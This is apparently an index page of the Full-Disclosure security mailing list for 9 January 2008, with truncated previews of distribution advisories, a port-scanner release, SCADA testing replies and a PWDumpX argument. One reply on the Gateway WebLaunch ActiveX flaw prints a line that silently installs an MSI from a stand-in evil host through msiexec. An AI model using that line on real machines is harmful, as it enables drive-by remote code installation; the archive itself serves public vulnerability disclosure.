[Full-disclosure] [SECURITY] [DSA 1457-1] New dovecot packages fix information disclosure

2008-01-09 Thread Thijs Kinkhorst
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA-1457-1 [EMAIL PROTECTED] http://www.debian.org/security/ Thijs Kinkhorst January 09, 2008

[Full-disclosure] [SECURITY] [DSA 1456-1] New fail2ban packages fix denial of service

2008-01-09 Thread Thijs Kinkhorst
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA-1456-1 [EMAIL PROTECTED] http://www.debian.org/security/ Thijs Kinkhorst January 09, 2008

Re: [Full-disclosure] PWDumpX v1.4 (and GUI:s)

2008-01-09 Thread Markus Jansson
OK, OK, I get your point. If you use GUI, you are lamer, because you could do fine without them 20 years ago so you should be able to do just fine without them now too. Its just "lazy mans way of doing things" to use GUI, and especially lazy and "now knowledge enought peoples" way of doing things.

[Full-disclosure] List Charter

2008-01-09 Thread John Cartwright
[Full-Disclosure] Mailing List Charter John Cartwright <[EMAIL PROTECTED]> - Introduction & Purpose - This document serves as a charter for the [Full-Disclosure] mailing list hosted at lists.grok.org.uk. The list was created on 9th July 2002 by Len Rose, and is primarily concerned with secur

[Full-disclosure] Tool Release: PortBunny 1.0

2008-01-09 Thread Felix 'FX' Lindner
Hi, Recurity Labs is proud to release the new TCP port scanner "PortBunny". Out development goals were speed and reliability instead of higher level features. The source code, presentation slides from the 24th Chaos Communication Congress as well as a link to the video recording can be found at:

[Full-disclosure] [USN-566-1] OpenSSH vulnerability

2008-01-09 Thread Kees Cook
=== Ubuntu Security Notice USN-566-1 January 09, 2008 openssh vulnerability CVE-2007-4752 === A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 6

Re: [Full-disclosure] scada/plc gear

2008-01-09 Thread Worthless Email
Hello, First of all, the tests you are doing sound very, very cool. Thank you for posting your results in a public forum. I am going through your other SCADA posts on full disclosure right now, and they are very informative. What are the remaining 5 SCADA devices you have lined up for testing?

[Full-disclosure] [ GLSA 200801-06 ] Xfce: Multiple vulnerabilities

2008-01-09 Thread Robert Buchholz
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security AdvisoryGLSA 200801-06:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ MDVSA-2008:005 ] - Updated libexif packages fix multiple vulnerabilities

2008-01-09 Thread security
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2008:005 http://www.mandriva.com/security/ ___

[Full-disclosure] [USN-565-1] Squid vulnerability

2008-01-09 Thread Kees Cook
=== Ubuntu Security Notice USN-565-1 January 09, 2008 squid vulnerability CVE-2007-6239 === A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 6.1

[Full-disclosure] [ GLSA 200801-05 ] Squid: Denial of Service

2008-01-09 Thread Pierre-Yves Rofes
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200801-05 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

[Full-disclosure] [ GLSA 200801-04 ] OpenAFS: Denial of Service

2008-01-09 Thread Pierre-Yves Rofes
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200801-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

[Full-disclosure] [ GLSA 200801-03 ] Claws Mail: Insecure temporary file creation

2008-01-09 Thread Pierre-Yves Rofes
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200801-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

[Full-disclosure] iDefense Security Advisory 01.09.08: Novell NetWare Client nicm.sys Local Privilege Escalation Vulnerability

2008-01-09 Thread iDefense Labs
iDefense Security Advisory 01.09.08 http://labs.idefense.com/intelligence/vulnerabilities/ Jan 09, 2008 I. BACKGROUND The Novell Client software provides a workstation with access to Novell NetWare networks as well as Novell Open Enterprise Server (OES) services. Novell Clients can access the ful

[Full-disclosure] [ GLSA 200801-02 ] R: Multiple vulnerabilities

2008-01-09 Thread Pierre-Yves Rofes
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security AdvisoryGLSA 200801-02:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

[Full-disclosure] ASLR Question

2008-01-09 Thread Ben
I decided to poke around on my friend’s Fedora Core 6 system the other day and examine the exec-shield and ASLR mechanisms. So far the combination of exec-shield and library addresses having their most significant bit set to 0x00 has blocked me from developing useful exploitation techniques agai

[Full-disclosure] Pre-auth remote commands execution in SAP MaxDB 7.6.03.07

2008-01-09 Thread Luigi Auriemma
### Luigi Auriemma Application: SAP MaxDB https://www.sdn.sap.com/irj/sdn/maxdb http://www.sap.com Versions: <= 7.6.03 build 007 Platforms:Windows, Linux and Sola

[Full-disclosure] [ MDVSA-2008:004 ] - Updated postgresql packages fix denial of service and privilege escalation issues

2008-01-09 Thread security
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2008:004 http://www.mandriva.com/security/ ___

Re: [Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

2008-01-09 Thread Elazar Broad
I was playing with this a bit more. Everybody has the Windows Installer installed, right? How about this: obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\msiexec.exe", "","/i http://www.evilsite.com/evilapp.msi /quiet"); Elazar On Tue, 08 Jan 2008 20:08:53 -0500 [EMAIL PROTECTED] wrote:

[Full-disclosure] [INFIGO 2008-01-06]: McAfee E-Business Server Remote Preauth Code Execution / DoS

2008-01-09 Thread infocus
INFIGO IS Security Advisory #ADV-2008-01-06 http://www.infigo.hr/en/ Title: McAfee E-Business Server Remote Preauth Code Execution / DoS Advisory ID: INFIGO-2008-01-06 Date: 2008-01-09 Advisory URL: http://www.infigo.hr/en/in_focus/advisories/

[Full-disclosure] [USN-564-1] Net-SNMP vulnerability

2008-01-09 Thread Jamie Strandboge
=== Ubuntu Security Notice USN-564-1 January 09, 2008 net-snmp vulnerability CVE-2007-5846 === A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu

Re: [Full-disclosure] scada/plc gear

2008-01-09 Thread gmaggro
> That is certainly > some rather odd behaviour... The fact that the other ports remained > makes it likely an application (modbus) problem. Yes, I thought it was interesting. I really wish I didn't fry the thing as I'd like to have eliminated the possibility it was something funny on my end.

Re: [Full-disclosure] PWDumpX v1.4

2008-01-09 Thread bugtraq
Dear Markus, I really am sorry, I really am sorry that you are so intellectually LAZY! most of us here who use the CLI are DEVELOPERS/EXPERTS/ETC we use CLI and GUI with equal fluency and supply one or the other if lacking according to our favorite tools, the fact that you complain that

[Full-disclosure] PWDumpX v1.4

2008-01-09 Thread Joey Mengele
Dear phisher hunter phunt, I think you are confused. Professional computer crackers, hackers, whitehats, fruithats, CISSPs, PHDs, etc. do not use the "CLI" for elitist purposes, but rather for pragmatism. Even the dumb guy that already responded to the post before pointed that out. If you plan